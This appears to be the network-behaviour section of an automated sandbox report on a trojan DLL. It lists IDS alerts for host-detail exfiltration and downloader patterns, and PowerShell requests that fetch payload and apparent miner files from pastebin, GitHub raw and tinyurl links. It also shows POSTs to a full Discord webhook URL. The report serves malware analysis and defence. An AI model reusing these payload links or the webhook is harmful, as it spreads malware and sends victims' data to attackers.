Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.2105792633.00000215D4021000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2026328567.000002463FF11000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: scorlib.pdbpdblib.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49743 -> 162.159.128.233:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49745 -> 162.159.128.233:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49744 -> 162.159.128.233:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49742 -> 162.159.128.233:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com

Source: global traffic	HTTP traffic detected: GET /raw/zNCj2Utm HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/6db99fAK HTTP/1.1Host: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.17.112.233 104.17.112.233
Source: Joe Sandbox View	IP Address: 162.159.128.233 162.159.128.233

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49731 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49732 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49730 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49736 -> 104.17.112.233:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 104.20.4.235:443

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105
Source: unknown	TCP traffic detected without corresponding DNS query: 45.144.31.105

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/zNCj2Utm HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/6db99fAK HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tinyurl.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1285282939239927849/BNsmidplEg4Azwj9_Fy7g4pAXIfhGmcFM3k3HiNtdWnIODC4-c2LFiKsOg4Pe_nPc5yd HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Sep 2024 17:32:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=b19c2e72745111efb77a2ee77874c18a; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1726507970x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CoiZ2FXPYiD2KVaM7hHv1ntj4ns%2FNqDI%2B6XOiwDL%2BMw9HqUG%2FmSNeekEqeDCIBh799drwh4c0%2FP46lSVck6ASvgwYRB5SuKqn%2BaTWkd7FZSeSsazh3CKm7a%2FFBWX"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=b19c2e72745111efb77a2ee77874c18a421aac5c7a07fa02966dbaaf5aadfb88ba179cddb4fbfe9aecbb336882b88c0f; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 16 Sep 2024 17:32:49 GMTContent-Type: application/jsonContent-Length: 45Connection: closeset-cookie: __dcfduid=b19dd722745111ef852d86e91110af28; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Laxstrict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 3x-ratelimit-reset: 1726507971x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qFnDiQoKTNL03UlMl%2Fwd7i5Rtt38cWUJvdEslU5FSFH4ypBrYW1sreWRpljTF9OpkG3Oyzil%2FWbsXNRaNkc%2BVRl5MMytzyOk5%2Bf7sOr0v6wkeyjgH13vNpMc%2BlkO"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: __sdcfduid=b19dd722745111ef852d86e91110af28a63f3228404aa9cd47a5d0bb39c87e1b7e57e9daa3f8d57a6e691a9e417b2a64; Expires=Sat, 15-Sep-2029 17:32:49 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=LaxSet-Cookie: __cfruid=cdc294da783b55ce65d3d0a7e028cca3a2c3bcee-1726507969; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
